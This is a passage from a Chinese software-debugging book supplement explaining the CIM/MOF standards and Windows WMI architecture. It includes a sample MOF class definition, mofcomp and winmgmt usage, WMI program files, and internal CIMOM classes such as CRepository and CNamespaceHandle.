提供的 DTD (Document Type Definition)可将 MOF 文件转化为 XML 文件。使用 CIM 和 MOF, 我们便可以使用面向对象设计方法来对管理对象进行描述和建模。 CIM Schema:作为 WBEM 模型库的一个部分,DMTF 建立了核心模型(Core Model) 和公共模型(Common Model)用于描述具有普遍意义的概念和对象,统称为 CIM Schema。其它开发者可以使用这些模型来提高设计和开发速度。 CIM 查询语言:用于从基于 CIM 建设的管理系统中提取数据的查询(query)语言。 CIM 的 XML 表示(Representation of CIM in XML):如何使用 XML 表示 SIM 模型。 从 DMTF 网站(http://www.dmtf.org)可以下载以上标准和模型的最新版本。 31.2 CIM 和 MOF CIM(Common Information Model)是一种层次化的面向对象的建模方法,是 WBEM (WMI)中定义和描述受管对象的基本标准。CIM 既可以描述物理的对象,也可以描述 逻辑对象。 《CIM 基础规约》(COMMON INFORMATION MODEL (CIM) INFRASTRUCTURE SPECIFICATION)是 CIM 标准的根本文件,也是了解 CIM 标准的最好资料。笔者写作本 内容时,该文档的最新版本是 2.3。下面就以该版本为例,介绍 CIM 的核心内容。 《软件调试》补编 - 74 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 31.2.1 类和 Schema CIM 将被管理环境看作是由一系列相互联系的系统组成的,每个系统又包含很多个分 立的对象。CIM 使用类来描述物理或者逻辑对象。 CIM 将对模型的正式定义叫做 Schema。每个 Schema 通常定义了模型内的一系列类 和类之间的关系。可以把 Schema 理解为类库,人们可以使用建立好的 Schema 来设计新 的模型。因此,CIM 文档将 Schema 称为是用来建造管理平台的积木(building block)。 Schema 是各种建模技术中很常用的一个术语,其基本含义就是对问题域的模型描述, 比如数据库设计中的 Schema,和 XML Schema 等。 CIM 规定所有完整的类名应该是以 Schema 名开始,并使用下划线与类名分隔。比如, CIM_ManagedSystemElement ( CIM 的 基 类 ) , CIM_ComputerSystem , CIM_SystemComponent 是 CIM Schema 中的几个类。 根据所描述对象的普遍性,CIM 将 Schema 分为如下三个层次: CIM Core Schema:适用于所有管理域。 CIM Common Schema:适用于特定管理域,不依赖于特定的技术和实现。 Extension Schema:适用于特定技术。与特定的环境(如操作系统)相关。 CIM Core Schema 和 CIM Common Schema 被统称为 CIM Schema。从设计和开发的角 度来看,可以把 CIM Schema 理解为 CIM 标准已经定义好的类库。在设计 Extension Schema 时可以从这些定义好的类派生新的类,以提高建模的速度。 从 DMTF 网站,可以下载包含所有 CIM Schema 详细定义的文件。随着技术的发展, CIM Schema 的 定 义 也 在 不 断 扩 充 。 目 前 的 版 本 包 含 的 Schema 有 CIM_Core , CIM_Application,CIM_Database,CIM_Device,CIM_Event,CIM_Interop,CIM_IPsecPolicy, CIM_Metrics,CIM_Network,CIM_Physical,CIM_Policy,CIM_Security,CIM_Support, CIM_System 和 CIM_User。这些 Schema 中的类最终都是以 CIM 作为 Schema 名的。 CIM 中定义了一套以 UML(Unified Modeling Language)规范为基础的图形语言来定 义 CIM 模型,称为 Meta Schema。Meta Schema 的绝大多数表达方法都与 UML 相同。比 如,用一个包含类名的矩形来表示类,矩形内可以包含类的属性和方法,使用不同样式的 连线表示类之间的关系。但略微不同的是, Meta Schema 还使用线的颜色来方便阅读, 表示关联关系的的线通常使用红颜色,表示继承关系的线用蓝颜色,表示聚合关系 (aggregation)的线用绿色,UML 中并没有这些约定。 图 31-2 显示了 CIM 核心模型(Core Model Schema)中的几个重要类的 Meta Schema 《软件调试》补编 - 75 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 31-2 CIM 核心模型中的几个重要类的 Meta Schema 表示 表示。因为该图的所有类都是在 CIM Schema 内,所以类名中省略了 CIM 字样。图中最上 面的 ManagedElement(CIM_ManagedElement)是 CIM 中的最高基类。它的一个极其重要 的派生类是 ManagedSystemElement 类,所以的系统要素都是从这个类派生出的,在 WMI 的 实 现 中 , ManagedSystemElement 是 最 高 基 类 。 下 一 层 次 的 两 个 重 要 类 便 是 PhysicalElement 和 LogcalElement,分别用来描述物理元素和逻辑元素的基本属性(这两 个类没有方法)。 31.2.2 MOF MOF(Managed Object Format) 是使用文字形式来描述 CIM 模型的程序语言。MOF 文 件的主要内容是对类、属性、方法、和实例声明的文字表达。 学习 MOF 的一种简单方法就是阅读 CIM Schema 中已经定义好的各个类,可以从 DMTF 网站(http://www.dmtf.org/standards/cim/)下载包含所有类定义的 MOF 文件压缩包。 例如,打开 CIM_ManagedSystemElement.mof(解压后的 Core 目录下)文件,就可以 看到使用 MOF 定义的 ManagedSystemElement 类(清单 31-1,为了节约篇幅,笔者删除 了部分描述和空行)。 清单 31-1 使用 MOF 语法定义的 ManagedSystemElement 类 // ================================================================== // CIM_ManagedSystemElement // ================================================================== [Abstract, Version ( "2.8.0" ), Description ( "CIM_ManagedSystemElement is the base class for the System " "Element hierarchy. Any distinguishable component of a System " "is a candidate for inclusion in this class. [删除多行]")] class CIM_ManagedSystemElement : CIM_ManagedElement { [Description ( "A datetime value indicating when the object was installed. " "A lack of a value does not indicate that the object is not " "installed."), MappingStrings { "MIF.DMTF|ComponentID|001.5" }] datetime InstallDate; [Description ( "The Name property defines the label by which the object is " "known. When subclassed, the Name property can be overridden " 《软件调试》补编 - 76 – Copyright © 2009 ADVDBG.ORG All Rights Reserved "to be a Key property."), MaxLen ( 1024 )] string Name; [删除多行] }; 观察上面的清单,熟悉面向对象编程的读者可以很容易看懂其中的绝大部分内容。比 如类和继承关系声明都与 C++完全一样。 class CIM_ManagedSystemElement : CIM_ManagedElement { 对于某些看不懂的内容只要查阅 CIM 文档(CIM Infrastructure Specification)就可以 了,比如 InstallDate 属性上面的描述中的 MappingStrings { "MIF.DMTF|ComponentID| 001.5"}的含义。MappingStrings 是 MOF 中的一种修饰符(qualifier)。MOF 中可以使用修 饰符对类和属性进行修饰或限定。MappingStrings 修饰符的作用是将 CIM 中的属性与 MIF (Management Information Format)中的属性关联起来。 31.2.3 WMI CIM Studio WMI CIM Studio 是微软的 WMI Tools 工具包中的一个工具,通过它可以浏览系统中 的 CIM 类和对象并执行各种操作,是学习 CIM 和解决 WMI 有关问题的一个重要助手。 WMI 工具曾经是 WMI SDK 的一部分,但现在 WMI SDK 被集成到 Platform SDK 中。 WMI 工具可以单独从微软的网站下载。你只要在搜索 WMI Administrative Tools 便可以找 到下载链接,然后下载一个名为 WMITools.exe 的安装文件。安装后,开始菜单中会被加 入一个名为 WMI Tools 的程序组。其中包含了如下几个工具: WMI CIM Studio:观察编辑 CIM 库中的类、属性、修饰符和实例;运行选中的方法; 产生和编译 MOF 文件。 WMI Object Browser(对象浏览器):观察 CIM 对象,编辑属性值和修饰符(qualifiers), 运行类的方法。 WMI Event Registration Tool:WMI 事件注册工具,配置事件消耗器,创建或观察事 件消耗器实例。 WMI Event Viewer:WMI 事件观察器,显示所有注册消耗器(consumer)实例的事件。 除了 WMI Event Viewer 外,另外三个工具都是以 OCX 控件形式在浏览器中运行的, 如果浏览器禁止了 OCX 控件运行,那么必须选择 Allow Blocked Content,它们才能工作。 下面我们先来看一下 CIM Studio,启动后,会出现图 31-3 所示的选择要连接到的命 名空间对话框。 图 31-3 CIM Studio 的连接对话框 命名空间(namespace)定义了对象的生存范围(scope)和可见范围,是 CIM 中组织 类和管理信息的一个逻辑单位。如果使用数据库的术语来理解,那么一个命名空间对应于 一个数据库(类好似表,属性好似字段)。一个 WBEM 系统中可以有多个命名空间。表 31-1 列出了典型的 Windows XP 系统中存在的命名空间和简单描述。 《软件调试》补编 - 77 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 表 31-1 Windows XP 系统中常见的命名空间 命名空间(Namespace) 描述 Root 根 CIMV2 CIM CIMV2\Applications 某些应用程序(如 IE) Default 默认的命名空间 Directory\LDAP Lightweight Directory Access Protocol Microsoft\HomeNet 家庭网络 Microsoft\SqlServer SQL Server 数据库服务器 MSAPPS11 Office 程序 Policy 系统策略有关的数据 RSOP 安全有关的管理信息 WMI WDM 提供器 <namespace>\MS_XXX 语言(locale)有关的信息,例如 MS_409 是英语有关的信息 可以在连接对话框的编辑框中输入要连接到的命名空间,也可以点击下拉框旁边的按 钮浏览要连接的命名空间(图 31-4)。 图 31-4 浏览命名空间 连接对话框的默认值是 root\CIMV2,这是 CIM 类所在的命名空间,也包含了微软的 设计的从 CIM 类派生出的一些类(以 Win32 或 MSFT 为 Schema 名)。图 31-5 显示了 CIM Studio 的主界面。 《软件调试》补编 - 78 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 31-5 CIM Studio 左侧窗口区域被称为类浏览器(Class Explorer),用来查找各个类,树控件很好的表 现了各个类之间的继承关系。比如图中选中的 Win32_BIOS 类是从一个各个类派生而来 的: CIM_SoftwareElement:CIM_LogicalElement:CIM_ManagedSystemElement 可以通过快捷菜单或者命名空间名称旁的按钮来查找或者删除类。 右侧窗口区域被称为类观察器(Class Viewer),用来显示左侧选中类的详细信息,包 括属性、方法、关联。通过按钮区域的按钮(从左至右)可以创建类的实例、删除类实例、 左右切换试图、保存编辑内容、显示类的所有实例、设置显示选项、执行 WQL(WMI Query Language,稍候介绍)查询、或者显示当前类的描述信息。 类观察器上面的三个按钮可以分别用来启动创建 MOF 向导、编译 MOF 向导和 CIM Studio 的帮助文件。 31.2.4 定义自己的类 尽管 CIM Schema 中已经可以数百个类,但是对于某个具体的管理任务,大多时候还 是需要根据具体对象和问题定义自己的类和 Schema。下面便通过一个简单的例子来演示 如何使用 MOF 语言设计新的类。 优盘(USB Disk)是近两三年流行起来的一种常见移动存储设备。在 CIM 中定义了 CIM_USBDevice 类来描述 USB 设备,但是没有设计 USB Disk 类。 于是我们很自然的想 到可以从 CIM_USBDevice 类派生出一个新的类来描述优盘设备。清单 31-2 所示的 MOF 代码实现了这一设想。 清单 31-2 优盘(USB Disk)设备类 1 // AdvDbg_UsbDisk.MOF 2 // A sample used to demonstrate inheritance from CIM class. 3 4 #pragma classflags("forceupdate") 5 #pragma namespace ("\\\\.\\Root\\CIMV2") 6 class AdvDbg_UsbDisk:CIM_USBDevice 7 { 8 [write (true), Description("The OS this disk can boot to."): ToSubClass] 9 string BootableOS; 10 [read(true), Description("Capacity of this disk in bytes."): ToSubClass ] 11 uint32 Capacity; 12 [read, key, MaxLen(256), Override("DeviceID"): ToSubClass] 13 string DeviceID; 14 [Description("Format the disk, all data will be lost.")] 15 boolean Format([in] boolean quick); 16 }; 17 instance of AdvDbg_UsbDisk 18 { 19 DeviceId = "USB_ADVDBG2006"; 20 Name = "USB Disk for AdvDbg"; 21 Caption = "USB Disk"; 22 BootableOS = "DOS70"; 23 Capacity = 1288888; 24 }; 下面对上面代码中可能有些难以理解的地方作些说明。首先看第 4 行,与 C/C++程序 一 样 , pragma 代 表 这 一 行 是 通 知 编 译 器 的 编 译 器 指 令 ( compiler directive )。 classflags("forceupdate")的作用是如果强制更新这个类的定义,即使存在有冲突的子类。第 5 行是用来指定命名空间。 第 6 行 声 明 了 一 个 新 的 类 AdvDbg_UsbDisk ,“ :CIM_USBDevice ” 表 示 继 承 《软件调试》补编 - 79 – Copyright © 2009 ADVDBG.ORG All Rights Reserved CIM_USBDevice 类。7 到 16 行是类定义,9、11 和 13 行各定义了一个属性,15 行定义了 一个方法,8、10、12 和 14 行是修饰符(Property Qualifier)行。在 CIM 中,在定义类以 及类的属性和方法时都可以使用修饰符。修饰符以一对方括号包围起来,如果有多个,那 么以逗号相分隔。每个修饰符通常包括名称和取值两个部分,取值通常放在括号中,如果 没有括号则表示使用默认值(如 12 行中的 read)。以第 8 行为例,其中包含了两个修饰符: write(true)表示该属性可以被消耗器(consumer)所修改。 Description("The OS this disk can boot to.") : ToSubClass 是更常见的一种修饰符,其值 是对属性的描述和说明,描述信息也会作为类定义的一部分编译并存储到 CIM 库 (CIM Repository)中。’: ToSubClass’被称为 Flavor,其含义是该修饰符会自动被应 用到子类,如果加上了 Restricted Flavor,那么该修饰符仅在当前类有效。除了 ToSubClass 和 Restricted,CIM 定义的 Flavor 还有 EnableOverride(允许该修饰符被子 类覆盖),DisableOverride(禁止该修饰符被子类覆盖)和 Translatable(该修饰符的值 是否可以用多种语言(locale)表示)。因为每个修饰符默认的 Flavor 中就包含 ToSubClass,所以这一行是否包含’: ToSubClass’是等价的。 下面看一下第 12 行,其中包含了 4 个修饰符,key 的含义是将所修饰的属性作为键 (key)属性,这好比是数据表中的键字段。CIM 使用 Key 属性的值来判断实例的等价性。 Override("DeviceID")表示覆盖基类中的 DeviceID 属性,在基类中 DeviceID 不是键属性, 这是重新定义的原因。MaxLen(256)表示属性的最大长度是 256 个字符。 第 15 行定义了一个方法,MOF 中区别方法和属性的唯一办法是看是否有小括号。 第 17 到 24 行定义了 AdvDbg_UsbDisk 类的一个实例。“instance of”是关键字,后面 应该是一个非抽象类的名字。抽象类的表准是类的修饰符中包含了 abstract 修饰符。19 到 23 行为这个实例指定了属性值,值得注意的是 Name 和 Caption 都是基类中定义的属性。 那么如何编译这个 MOF 文件呢?只要使用 mofcomp 程序就可以了。Mofcomp.exe 是 个命令行程序,位于 c:\<WINDOWS 根目录>\system32\wbem 目录中。打开一个命令行窗 口,将该路径加到 PATH 环境变量中后,转到 MOF 文件所在的目录,然后只要输入 mofcomp advdbg_usbdisk.mof 就可以了,在笔者的机器上,其输出如下: c:\dbg\author\code\chap31\mof>mofcomp advdbg_usbdisk.mof Microsoft (R) 32-bit MOF Compiler Version 5.1.2600.2180 Copyright (c) Microsoft Corp. 1997-2001. All rights reserved. Parsing MOF file: advdbg_usbdisk.mof MOF file has been successfully parsed Storing data in the repository... Done! 说是编译器,其实 mofcomp 不仅对 mof文件进行解析和检查,如果没有错误,mofcomp 还会将该类定义加到 CIM 库中,上面最后两行的提示就是 mofcomp 在向 CIM 库存储数据。 以上操作成功后,再次打开 CIM Studio,连接到 root\CimV2 命名空间,就可以查找 到刚刚定义的 AdvDbg_UsbDisk 类了,点击右侧的显示类实例按钮还可以看到我们定义对 象实例(图 31-6)。 《软件调试》补编 - 80 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 31-6 观察我们自己定义的 AdvDbg_UsbDisk 类和实例 31.3 WMI 的架构和基础构件 WMI 是 WBEM 标准在 Windows 系统中的应用和实现。对于今天的 Windows 系统, 它已经成为作为操作系统的一个基本部件,为系统中的其它部件提供 WBEM 支持和服务。 下面我们先来看一下 WMI 的基本架构。 31.3.1 WMI 的架构 从架构角度来看,整个 WMI 系统由以下几个部分组成(参见图 31-1): 图 31-7 WMI 架构 受管对象(Managed Objects):即要管理的目标对象,使用 WMI 的目的就是获得这些 对象的信息或者配置它们的行为。 WMI 提供器(WMI Providers):按照 WMI 标准编写的软件组件,它代表受管对象与 WMI 管理器交互,向其提供数据或者执行其下达的操作。WMI 提供器隐藏了各种受 管对象的差异,使 WMI 管理器可以以统一的方式查询和管理受管对象。 WMI 基础构件(WMI Infrastructure):包括存储对象信息的数据库和实现 WMI 核心 功能的对象管理器。因为 WMI 使用 CIM(Common Information Model)标准来描述 和管理受管对象。因此,WMI 的数据库和对象管理器被命名为 CIM 数据仓库(CIM Repository)和 CIM 对象管理器(CIM Object Manager,简称 CIMOM)。 WMI 编程接口(API):WMI 提供了几种形式的 API 接口,以方便不同类型的 WMI 应用使用 WMI 功能,比如供 C/C++程序调用的函数形式(DLL+Lib+头文件),供 VB 和脚本语言调用 ActiveX 控件形式,和通过 ODBC 访问的数据库形式(ODBC Adaptor)。 WMI 应用程序(WMI Applications):即通过 WMI API 使用 WMI 服务的各种工具和 《软件调试》补编 - 81 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 应用程序。比如 Windows 中的事件查看器程序,以及各种实用 WMI 的 Windows 脚本。 因为从数据流向角度看,WMI 应用程序是消耗 WMI 提供器所提供的信息的,所以有 时又被称为 WMI 消耗器(WMI Consumer)。 从上面的架构图可以看出,WMI 是个由 WMI 提供器、WMI 消耗器和 WMI 基础构件 组成的一个复杂系统。用户是使用 WMI 应用程序(消耗器)来管理他们所关心的各种目 标对象(受管对象),WMI 基础构件好似一个枢纽为消耗器和提供器的信息交流提供通道。 换句话来讲,是 WMI 基础构件搭建了一个平台,使 WMI 应用程序可以利用这个平台找 到它要找的信息。下面我们就分别介绍一下支撑起这个平台的各个 WMI 基础构件。 31.3.2 WMI 的工作目录和文件 默认情况下,WMI 的工作目录位于 Windows 系统目录下的 system32\wbem 下(参见 图 31-8)。WBEM 目录下保存了很多 WMI 的程序文件(EXE 和 DLL),还有 COM 类型 库文件(TLB)和一部分 CIM 类定义文件(MOF 和 MFL)。 WBEM 目录下还包含了几个子目录,Logs 子目录是用来存储 WMI 日志文件的, AutoRecovery 子目录保存了可以自动恢复的类的 MOF 文件的备份。另一个重要的子目录 就是 Repository,它是存储 WMI 数据仓库文件的地方。 WMI 数据仓库文件 数据仓库文件 数据仓库文件 数据仓库文件 WMI 将类和对象等信息存储在 WMI 数据仓库中。实现 WMI 数据仓库的文件被保存 在系统目录下的 wbem\Repository\FS 目录下,如图 31-8 所示。 图 31-8 组成 WMI 数据仓库的各个文件 其中最重要的文件是 Objects.DATA,用于存放数据,其它几个是索引和映射文件。可 以使用 winmgmt 程序对 WMI 数据仓库进行备份。比如输入如下命令,便可以将 WMI 数 据仓库的所有数据备份到一个文件中。 winmgmt /backup c:\windows\system32\wbem\aug_bakup.data 使用/restore 开关可以恢复 WMI 数据仓库。键入 winmgmt /?可以得到简单的帮助信 息。 system32\wbem 目录下的 repdrvfs.dll 是管理和维护 WMI 数据仓库的主要模块,我们 将在下面详细介绍。 WMI 程序文件 程序文件 程序文件 程序文件 了解 WMI 的程序文件有助于从文件层次理解 WMI 的架构层次和模块组织。WMI 的 大多数程序文件都位于 Windows 系统目录下的 system32\wbem 下。表 31-2 列出了大多数 WMI 程序文件的名称和主要功能。 《软件调试》补编 - 82 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 表 31-2 WMI 的程序文件 文件名 简介 wbemcore.dll WMI 的核心模块,包括 CIM 对象管理器等重要基础设施。 cimwin32.dll WMI 的 Win32 提供器,内部包含了很多重要 Win32 类的实现。 wmipiprt.dll IP 路由事件(IP Route Event)提供器。 wmipdskq.dll 磁盘配额(Disk Quota Volume)提供器。 wmipcima.dll WBEM Framework Instance Provider CIMA Wbemprox.dll WBEM 代理,供 WMI 应用程序连接 WMI 服务,包含了 IWbemLocator 接口的实现(Clocator 类)。 Wbemperf.dll 性能计数器(NT5 Base Perf)提供器。 Wmipicmp.dll Ping 提供器,ICMP 是 Internet Control Message Protocol 的缩写。 Stdprov.dll PerfMon 和注册表提供器。 Wbemdisp.dll 包含了供脚本语言使用的各种 ActiveX 控件的实现。 Wmiprov.dll WDM 提供器(实例、事件和 HiPerf)。 Wmiutils.dll 解析和执行 WQL 查询的 COM 组件。 Wbemads.dll ADSI 扩展。 Wmicookr.dll WMI 高性能计数器数据加工期(Cooker)。 Msiprov.dll MSI(MS Installer)提供器。 Wbemcntl.dll WMISnapin 组件,即配置 WMI 的 MMC(Microsoft Management Console) 插件。 Repdrvfs.dll 包含了管理 CIM 对象数据仓库的各个类,参见下文。 Scrcons.exe 供脚本(Active Scripting)使用的事件消耗器提供器。 Fastprox.dll 包含了用于进程间调用和 RPC通信的类和函数,又称为 Microsoft WBEM Call Context。 Wbemcons.dll 命令行的事件消耗器提供器。 Wmitimep.dll 当前时间提供器。 Esscli.dll 事件子系统的过滤器列集代理(filter marshaling proxy)。 Wbemess.dll WMI 的事件子系统。 Fwdprov.dll 转寄(Forwarding)事件提供器和转寄事件消耗器提供器。 Wbemcons.dll 日志文件(Log File)和 NT 事件日志事件消耗器提供器。 Wmimsg.dll 消息服务,RPC 消息收发器(Receiver 和 Sender)。 Wbemess.dll 新的事件子系统。 Ntevt.dll WMI 事件日志(Eventlog)事件提供器。 Event Provider tmplprov.dll 模版(Template)提供器。 trnsprov.dll Microsoft WBEM Transient Instance Provider Unsecapp.exe 非安全套间(Unsecured Apartment)进程,用于需要穿过防火墙的 RPC 通信时向 MMC 或客户程序返回调用结果。 updprov.dll Microsoft WBEM Updating Consumer Provider viewprov.dll Microsoft WBEM View Provider policman.dll 安全策略状态提供器。 wmiprvsd.dll WMI 提供器子系统 DLL。 wmiprvse.exe WMI 提供器子系统的宿主进程。 wmidcprv.dll 提供器子系统的非耦合(Decoupled)提供器注册和事件管理。 31.3.3 CIM 对象管理器 CIM 对象管理器(CIM Object Manager,简称 CIMOM)是 WMI 的核心部件。它负责 管理和维护系统中的类和对象,也是 WMI 管理程序(消耗器)和 WMI 提供器之间进行 交互的桥梁。从进程的角度看,CIMOM 是工作在 WMI 服务器进程中的一系列动态链接 库,它们利用 COM/DCOM 技术相互协作。对外也是以 COM 接口的形式公开它们的服务。 《软件调试》补编 - 83 – Copyright © 2009 ADVDBG.ORG All Rights Reserved CIM 标准中没有规定 CIMOM 该如何实现,微软也没有公开过 WMI 的 CIMOM 的内 部实现方法。所有的文档中都是将其模糊的看作一个整体,称之为 CIMOM。但是因为 CIMOM 是 WMI 的核心,了解 CIMOM 是了解 WMI 的捷径。处于这一考虑,笔者对 CIMOM 做了很多探索,仅供读者参考。必须说明的是,这些内容没有得到微软的认可和确认,也 会因为 Windows 的版本不同而有所不同。 CWbemClass 类 类 类 类 WBEMCORE.DLL 中的 CWbemClass 类是描述和管理 CIM 类对象的一个内部类。包 括存取类的名称、属性、方法、修饰符,产生类的实例,克隆(Clone)和派生类等。表 31-3 列出了 CWbemClass 类的一些重要方法和属性。 表 31-3 CRepository 类的部分方法和属性 方法或属性 描述 GetClassNameW 取类的名称。 GetPropertyCount 取属性个数。 BeginMethodEnumeration,NextMethod 和 EndMethodEnumeration 用于便利类的所有方法,分别是开始枚举类的 方法,取下一个,和结束枚举。 Clone 和 CloneEx 复制类。 GetProperty,GetMethod 取类的属性和方法。 PutMethod SetPropQualifier 和 SetMethodQualifier 设置属性和方法的修饰符。 SpawnInstance 和 SpawnKeyedInstance 产生当前类的实例。 CWbemInstance 类 类 类 类 WBEMCORE.DLL 中的 CWbemInstance 类是描述和管理 CIM 类实例的一个内部类。 包括读取实例的类名(class name)、修改或读取实例的属性值、复制实例数据等。 MSDN 中公开的 IWbemClassObject 接口定义了操作 WMI 类和实例的基本方法,通过 该接口,WMI 应用程序可以访问相应的 WMI 类或实例。可以认为 CWbemClass 类和 CWbemInstance 类为实现这一接口的方法而提供的支持类。 CRepository 类 类 类 类 REPDRVFS.DLL 中的 CRepository 类是对 WMI 数据仓库(CIM Repository)的抽象, 它是管理和维护 WMI 数据仓库的一个最重要的类。它实现了一系列方法来完成有关 WMI 数据仓库的各种操作,包括初始化、读取、锁定、解锁、关闭、备份、恢复等。表 31-3 列出了 CRepository 类的一些重要方法和属性。 表 31-3 CRepository 类的部分方法和属性 方法或属性 描述 Initialize 初始化 WMI 数据仓库 GetRepositoryVersions 读 取 WMI 数 据 仓 库 的 版 本 , 保 存 在 全 局 变 量 repdrvfs!g_dwCurrentRepositoryVersion 中,对于 XP SP2,为 6。 GetRepositoryDirectory 从注册表中("SOFTWARE\Microsoft\ WBEM\CIMOM")读取 WMI 数 据 仓 库 文 件 的 路 径 , 默 认 为 %SystemRoot%\system32\WBEM\Repository。 GetNamespaceHandle 获取某个命名空间的句柄。这是从仓库中读取数据的主要途径。 GetStatistics 读取统计信息。 Backup 和 Restore 备份和恢复数据仓库。 《软件调试》补编 - 84 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 方法或属性 描述 Logon 登陆数据仓库。 Shutdown 关闭 WMI 数据仓库。 LockRepository 和 UnlockRepository 锁定和解除锁定。 ReadOperationNotification 和 WriteOperationNotification 当有读/写数据仓库的操作发生时,此方法会被调用,以产生事 件通知。 FlushCache 冲转缓存区,即将缓存在内存中的数据写入文件。 m_ulReadCount 和 m_ulWriteCount 读/写次数计数。 m_threadCount 工作线程数。 在 WBEMCORE.DLL 中也有个 CRepository 类,它是对 CIM 数据仓库的顶层抽象, 对于需要底层操作的任务,它仍需转给 REPDRVFS.DLL 中的 CRepository 类来完成。 CNamespaceHandle 类 类 类 类 REPDRVFS.DLL 中的 CNamespaceHandle 类是对 CIM 命名空间(CIM Namespace) 物理特性的抽象,它封装了关于命名空间的各种底层操作,包括初始化命名空间和向命名 空间中增加删除类、实例和关系等。表 31-4 列出了 CNamespaceHandle 类主要方法和简单 说明。 表 31-4 CNamespaceHandle 类的主要方法 方法或属性 描述 Initialize 和 Initialize2 初始化命名空间。 DeleteInstance 删除实例。 PutInstance 加入实例。 DeleteDerivedClasses 删除派生类。 EraseClassRelationships 删除类关系。 GetInstanceByKey 根据键值取实例。 FireEvent 激发事件。 DeleteObjectByPath 根据路径删除对象。 PutObject 保存或加入对象。 PutClass 保存或加入类。 DeleteClass 删除类。 DeleteClassInstances 删除类实例。 EnumerateClasses 枚举命名空间中所包含的类。 ExecQuery 查询功能的总入口函数,预处理后产生一个纤程(Fiber) 任务(CreateFiberForTask)。而后再在纤程分发给真正的 查询函数(ExecInstanceQuery 或 ExecClassQuery)。 ExecInstanceQuery 查询实例。 GetObjectW 读取对象。 ExecClassQuery 查询类。 CSession 类 类 类 类 REPDRVFS.DLL 中的 CSession 类是外界与 WMI 数据仓库对话的主要媒介。通常, 数据仓库的使用者只要调用 CSession 类封装好的方法,而不必关心数据仓库内部的操作 细节。CSession 类接收到调用后通常再转发给内部的其它类来真正完成各种操作。 清单 31-3 显示了一个典型的查询操作的执行过程,wbemcore.dll 中的 CRepository 的 《软件调试》补编 - 85 – Copyright © 2009 ADVDBG.ORG All Rights Reserved ExecQuery 方法调用 repdrvfs.dll 中的 CSession 类的 ExecQuery 方法。而后 CSession 类的 ExecQuery 再分发给 CNamespaceHandle 类的 ExecQuery 方法。 清单 31-3 一个典型的查询操作的执行过程 0:022> k ChildEBP RetAddr 011cfbdc 752146c9 repdrvfs!CNamespaceHandle::ExecQuery 011cfc1c 762d11e0 repdrvfs!CSession::ExecQuery+0xb6 011cfc7c 762d167e wbemcore!CRepository::ExecQuery+0xb5 011cfcd8 762ddadc wbemcore!CRepository::GetRefClasses+0x8d 表 31-5 CSession 类的主要方法 方法或属性 描述 ExecQuery 执行查询,通常是调用 CNamespaceHandle 的 ExecQuery。 BeginWriteTransaction 和 BeginReadTransaction 启动读/写事务。 RenameObject 重命名对象。 PutObject 保存对象。 CommitTransaction 提交事务。 AddObject 和 DeleteObject 加入和删除对象。 GetObjectByPath 根据路径取对象。 GetObjectW 取对象。 Enumerate 枚举。 CWbemNamespace 类 类 类 类 WBEMCORE.DLL 中的 CWbemNamespace 类是对 CIM 命名空间的逻辑抽象。它封装 了命名空间的各种行为和针对空间内类或对象的操作,包括访问和管理命名空间中的对 象、执行各种查询操作、事件通知、和安全控制等。CWbemNamespace 是外部访问 WMI 类和对象的主要途径。CWbemNamespace 类包含了 100 多个方法,可以说是 WMI 对象管 理器中处于核心地位一个类。表 31-6 列出了 CWbemNamespace 类的部分方法和简要说明。 表 31-6 CWbemNamespace 类的主要方法 方法或属性 描述 UniversalConnect 连接命名空间。 ExecNotificationQuery 执行查询,通常是调用 CNamespaceHandle 的 ExecQuery。 InitializeSD 初始化安全描述符。 PutInstance 和 PutInstanceAsync 创建或更新实例,以 Async 结尾的是异步调用。 PutClass 和 PutClassAsync 创建或更新类,以 Async 结尾的是异步调用。 GetObjectByFullPath 根据路径取得对象。 DeleteObject 、 DeleteClass 和 DeleteInstance 删除对象、类和实例。 CreateNamespace 创建命名空间。 EnsureSecurity、PutAceList 安全检查,加入 ACE(Access Control Entry 访问控制表 项)。 GetObjectW 读取对象。 ExecQuery、ExecSyncQuery 和 ExecQueryAsync 执行查询,Sync 代表同步,Async 代表异步。 CCoreServices 类 类 类 类 从客户服务器(Client/Server)模型的角度来看,WMI 应用程序(WMI 消耗器)利用 WMI 管理受管对象,因此 WMI 应用程序是客户,WMI 命名空间中的类和对象为其提供 《软件调试》补编 - 86 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 了管理服务,是服务(Service)。广义来说,WMI 服务是指 WMI 的基础构件和 WMI 提 供器所构成的整体。狭义来说,WMI 服务是实现了 IWbemServices 接口的 COM 组件。 MSDN 文档公开了 IWbemServices 接口的定义。所有 WMI 提供器和其它服务提供者都应 该实现这一接口。CCoreServices 类是位于 WBEMCORE.DLL 中的一个 WMI 内部类,它 的主要职责就是管理实现了 IWbemServices 接口的各种 WMI 服务,包括初始化系统内的 子系统和内部服务、创建服务实例和管理事件等。表 31-7 列出了 CCoreServices 类的主要 方法和属性。 表 31-7 CCoreServices 类的主要方法和属性 方法或属性 描述 IsProviderSubsystemEnabled 通过查询注册表键"SOFTWARE\Microsoft\WBEM\CIMOM" 中的"Enable Provider Subsystem"键值,判断提供器子系统是否 启用。 GetServices2 取得 WMI 服务组件的实例,第二个参数是使用路径表示的服 务,如\\.\root\directory\LDAP,第三个参数是用户名,参见下 文。 DeliverIntrinsicEvent 和 DeliverExtrinsicEvent 投递内部和外部事件。 m_pEssOld 和 m_pEssNew 指向事件子系统(Event Subsystem)的指针。 g_pSvc 指向本类全局实例的指针。 StartEventDelivery 和 StopEventDelivery 启动和停止事件投递。 SetCounter、 IncrementCounter 和 DecrementCounter 设置、递增和递减用于记录服务实例个数的计数器。 GetObjFactory 取得对象工厂。 RegisterWriteHook 和 UnregisterWriteHook 注册和注销写挂钩。 InitRefresherMgr 初始化刷新器(refresher)管理器,记录在 m_pFetchRefrMgr 成员中。 CreatePathParser 创建路径解析器。 GetProviderSubsystem 取提供器子系统指针,记录在 m_pProvSS 成员变量中。 CreateFinalizer 创建终结器(Finalizer)。 m_pProvSS 提供器之系统指针。 CreateQueryParser 创建查询解析器。 GetRepositoryDriver 取 CIM 仓库驱动,已经不用,返回错误。 GetSystemClass 和 GetSystemObjects 取系统类和对象,支持 WMI 基础架构的类被称为 WMI 系统 